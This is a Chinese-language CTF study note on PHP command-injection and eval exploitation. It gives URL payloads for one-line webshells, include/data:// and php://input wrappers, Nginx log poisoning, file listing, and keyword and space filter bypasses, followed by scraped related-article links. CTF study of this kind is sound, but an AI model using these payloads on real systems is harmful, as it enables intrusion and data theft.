PHP命令执行与绕过
一、eval()函数调用--无严格过滤:

1、highlight_file()高亮显示:
?c=highlight_file(base64_decode("ZmxhZy5waHA="));
2、shell命令:
?c=system("tac fl*g.php");
?c=system("cat fl*g.php");
3、echo直接打印:(使用反引号包裹shell命令)
?c=echo 'tac fla*.php';
4、一句话木马:
?c=@eval($_GET[1]);&1=system("tac flag.php");
一句话木马 + cp拷贝命令:
?c=@eval($_GET[1]);&1=system("cp flag.php a.txt");

一句话木马 + php伪协议:
?c=@eval($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php
5、include包含 + 伪协议:
?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>
?c=include$_GET[1]?>&1=php://input + POST提交PHP命令执行代码
6、Nginx日志注入:
Nginx日志默认路径-->/var/log/nginx/access.log
?c=include$_GET[1]?>&1=../../../../var/log/nginx/access.log
通过UA头写入一句话木马-->system指令 / 蚁剑连接
7、php函数调用绕过关键字符过滤:
getcwd() 函数返回当前工作目录。它可以代替pos(localeconv())
localeconv():返回包含本地化数字和货币格式信息的关联数组。这里主要是返回值为数组且第一项为"."
pos():输出数组第一个元素,不改变指针;
current() 函数返回数组中的当前元素(单元),默认取第一个值,和pos()一样
scandir() 函数返回指定目录中的文件和目录的数组。这里因为参数为"."所以遍历当前目录
array_reverse():数组逆置
next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以
show_source():查看源码
pos() 函数返回数组中的当前元素的值。该函数是current()函数的别名。
每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素。
提示:该函数不会移动数组内部指针。
代码演示:
localeconv()函数:

pos(localeconv()):指向第一个元素,不改变指针

scandir(pos(localeconv()))-->参数为.以此遍历当前目录

通过遍历目录-->获取flag.php文件的具体位置:
?c=var_dump(scandir(pos(localeconv())));

再通过next()和array_reverse()令指针指向flag.php所在位置-->show_source()读取即可:
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
二、include()函数使用不当导致命令执行:
详见 --> 文件包含与伪协议
三、分隔符 " ; " " || " " & " " && " 的使用:
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行
(ctfshow-web42)

使用 || 只执行第一条命令:
?c=tac flag.php ||
四、关键字、关键符号、空格的绕过:
(1) 禁用 flag、tac等关键字:
flag --> fl*g
flag --> fla?
flag --> fl''ag
(2) 禁用 空格:
空格 --> ${IFS}、%09、< 等绕过方式
PHP命令执行与绕过的更多相关文章
- PING命令执行漏洞-绕过空格
目录 PING命令执行漏洞-绕过空格 这边介绍一下绕过空格的方法大概有以下几种 方法一:用变量拼接:我们发现源码中有一个$a变量可以覆盖 方法二:过滤bash?那就用sh.sh的大部分脚本都可以在ba ...
- 转:LNMP虚拟主机PHP沙盒绕过/命令执行(php exec命令被禁之后)
LNMP虚拟主机PHP沙盒绕过/命令执行 lnmp更新1.2版本,很多东西都升级了,很棒.不过还是发现一个BUG. LNMP是一款linux下nginx.php.mysql一键安装包. 下载:http ...
- Couchdb垂直权限绕过到命令执行
0x00couchdb简介 Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库".它是一个使用JSON作为存储格式,JavaScript作为查 ...
- ctf-ping命令执行绕过
题目连接:http://ctf.klmyssn.com/challenges#Ping 命令执行绕过,试了试过滤了一些:一些命令 但是反引号可以执行命令 通过拼接,可以拼接出来:ls 命令 127.0 ...
- CTF中的命令执行绕过
本位原创作者:Smity 在介绍命令注入之前,有一点需要注意:命令注入与远程代码执行不同.他们的区别在于,远程代码执行实际上是调用服务器网站代码进行执行,而命令注入则是调用操作系统命令进行执行. 作为 ...
- CTF练习三 —— 命令注入&命令执行绕过
这个题是第四届强网杯也就是2020.8.22号开始的那场一道简单的命令注入题,再这之前我并没有学习过命令注之类的知识,,,看到题之后先搜在学,,误打误撞解了出来,过段时间wp就会放出来,所以这里就不对 ...
- [GXYCTF2019]Ping Ping Ping(ping命令执行绕过Waf)
记一道ping注入的题.过滤了很多字符. 分析 简单的测了一下,很容易就拿到了flag.php和index.php. 但是存在waf无法直接查看.直接?ip=127.0.0.1|cat flag.ph ...
- Maccms8.x 命令执行漏洞分析
下载链接https://share.weiyun.com/23802397ed25681ad45c112bf34cc6db 首先打开Index.php $m = be('get','m'); m参数获 ...
- SSD报告 - QRadar远程命令执行
SSD报告 - QRadar远程命令执行 漏洞摘要 QRadar中的多个漏洞允许远程未经身份验证的攻击者使产品执行任意命令.每个漏洞本身并不像链接那么强大 - 这允许用户从未经身份验证的访问更改为经过 ...
- PHP代码审计笔记--命令执行漏洞
命令执行漏洞,用户通过浏览器在远程服务器上执行任意系统命令,严格意义上,与代码执行漏洞还是有一定的区别. 0x01漏洞实例 例1: <?php $target=$_REQUEST['ip']; ...
随机推荐
- SP12304 题解
原题链接 | 题解链接 本篇题解为此题最较简单做法及最较少码量, 并且码风优良, 请放心阅读. 题目简述 当 \(i\) 的所有正因数和 \(=\) \(n\) 时, 其中 \(i\) 的最小值. 思 ...
- .NET Core 3.x 基于Autofac的AOP缓存
一.依赖包 二.定义一个简单的缓存接口 /// <summary> /// 简单的缓存接口,只有查询和添加,以后会进行扩展 /// </summary> public inte ...
- 学习笔记--Java面向对象的继承
Java面向对象的继承 继承 继承是面向对象的三大特性之一 继承基本作用:代码复用:重要作用:有了继承才能有以后的"方法的覆盖"和"多态" 继承语法格式: [修 ...
- 02 IO口的操作
目录 前言 一.IO的概念 1.IO接口 2.IO端口 二.CPU和外设进行数据传输的方法 1.程序控制方式 1.1 无条件 1.2 查询方式 2.中断方式 3.DMA方式 一.方法介绍和代码编写 1 ...
- 【Axure RP】Axure RP 9 下载安装及汉化
本体及破解机下载: http://www.sd173.com/soft/7951.html 汉化补丁教程见: https://blog.csdn.net/weixin_74457789/article ...
- 【Java】【常用类】Comparable 可比较接口 Comparator 比较器接口
我们需要对对象进行排序,但是对象不是像基本类型的那样,是具体的数值 如果要对对象比较,需要实现两个接口的任意一个即可 Comparable 可比较接口 Comparator 比较器接口 String包 ...
- 【Java】JDBC Part5.1 Hikari连接池补充
Hikari Connection Pool Hikari 连接池 HikariCP 官方文档 https://github.com/brettwooldridge/HikariCP Maven依赖 ...
- 【H5】09 音频和视频
现在我们可以轻松的为一张 web 网页添加简单的图像,下一步是开始为 HTML 文档添加音频和视频的播放器. 在这篇文章当中,我们会学习到 <video> 和 <audio> ...
- IPython notebook(Jupyter notebook) 设置密码
本文共给出两种密码设置方法,一种为直接设置密码法(较为便捷),另一种为hash密码设置法 =================================== 第一种: 直接设置密码 注意: i ...
- 国产芯片 —— 2023年龙芯最新的 3A6000 确实已经追上 2020年发布的 10代 i3酷睿 四核处理器
看新闻: https://news.cnblogs.com/n/752564/ 首先,龙芯3A6000已经有了i3酷睿10代的水平,这是十分可喜可贺的,可以说这个CPU的性能已经是国产CPU的天花板了 ...